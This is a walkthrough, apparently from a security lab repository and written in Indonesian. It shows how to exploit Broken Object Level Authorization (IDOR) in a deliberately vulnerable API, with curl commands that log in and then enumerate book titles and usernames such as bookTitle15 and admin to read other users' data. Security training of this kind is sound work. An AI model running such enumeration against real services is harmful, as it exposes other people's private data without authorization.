Skip to content

Latest commit

 

History

History
82 lines (54 loc) · 5.83 KB

Broken Object Level Authorization.md

File metadata and controls

82 lines (54 loc) · 5.83 KB

Broken Object Level Authorization

Penyerang dapat mengeksploitasi endpoint API yang rentan terhadap Broken Object Level Authorization (BOLA) / IDOR (Insecure Direct Object Reference) dengan memanipulasi ID objek yang dikirimkan dalam request. ID Objek dapat berupa apa saja, mulai dari bilangan bulat berurutan, UUID, atau string. Akses tidak sah terhadap objek pengguna lain dapat mengakibatkan pengungkapan data kepada pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Celah keamanan ini ditemukan pada endpoint /books/v1/{book_title} dan /users/v1/{username}

  • Login terlebih dahulu untuk mengakses endpoint /books/v1/{book_title} dengan akun yang sudah dibuat di proses instalasi kemudian copy nilai auth_token
curl http://IP_Server:5000/users/v1/login -d '{"username":"userapi","password":"12345"}' -H 'Content-Type: application/json' --proxy http://127.0.0.1:8080

alt text

alt text

  • Akses endpoint /books/v1/{book_title} dan isi parameter {book_title} dengan format bookTitle<nomor>. Nomor bisa diganti dengan angka bulat (integer) berapapun hingga menemukan data, misalnya angka 1-100
curl http://IP_Server:5000/books/v1/bookTitle91 -H 'Authorization: Bearer token' --proxy http://127.0.0.1:8080

alt text

alt text

  • Akses endpoint dengan nilai paramter lainnya. Jika auth_token sudah expired silahkan lakukan login ulang copy nilai auth_token yang baru
curl http://IP_Server:5000/books/v1/bookTitle92 -H 'Authorization: Bearer token' --proxy http://127.0.0.1:8080

alt text

alt text

  • Kita menemukan data buku milik admin dengan bookTitle15
curl http://IP_Server:5000/books/v1/bookTitle15 -H 'Authorization: Bearer token' --proxy http://127.0.0.1:8080

alt text

alt text

  • Pada endpoint /books/v1/{book_title} kita mengakses data milik pengguna lain dengan menebak urutan parameter book_title seperti bookTitle91, bookTitle92 dan bookTitle15. Angka 15, 91, dan 92 adalah contoh angka bulat yang berurutan antara 1-100. Seharusnya data tersebut tidak dapat dibaca oleh user yang bersangkutan. Inilah yang disebut dengan celah keamanan Broken Object Level Authorization (BOLA). Jika kita mengakses endpoint /books/v1/{book_title} tanpa parameter, kita dapat memperoleh seluruh data buku
curl http://IP_Server:5000/users/v1 --proxy http://127.0.0.1:8080

alt text

alt text

  • Sekarang kita coba akses endpoint /users/v1/{username} dan isi parameter {username} dengan format name<nomor>. Nomor bisa diganti dengan angka bulat (integer) berapapun hingga menemukan data, misalnya angka 1-100
curl http://IP_Server:5000/users/v1/name1 --proxy http://127.0.0.1:8080

alt text

alt text

curl http://IP_Server:5000/users/v1/name2 --proxy http://127.0.0.1:8080

alt text

alt text

curl http://IP_Server:5000/users/v1/admin --proxy http://127.0.0.1:8080

alt text

alt text

  • Pada endpoint /users/v1/{username} kita juga bisa mengakses data user dengan menebak urutan username seperti name1 dan name2. Selain itu kita juga bisa menemukan data dengan username admin. Angka 1 dan 2 adalah contoh angka bulat yang berurutan antara 1-100. Sedangkan username admin adalah contoh username yang biasa digunakan untuk administrator. Seharusnya data tiap user hanya bisa diakses oleh user yang berwenang. Jika kita mengakses endpoint /users/v1/{username} tanpa parameter, kita dapat melihat seluruh data user
curl http://IP_Server:5000/users/v1 --proxy http://127.0.0.1:8080

alt text

alt text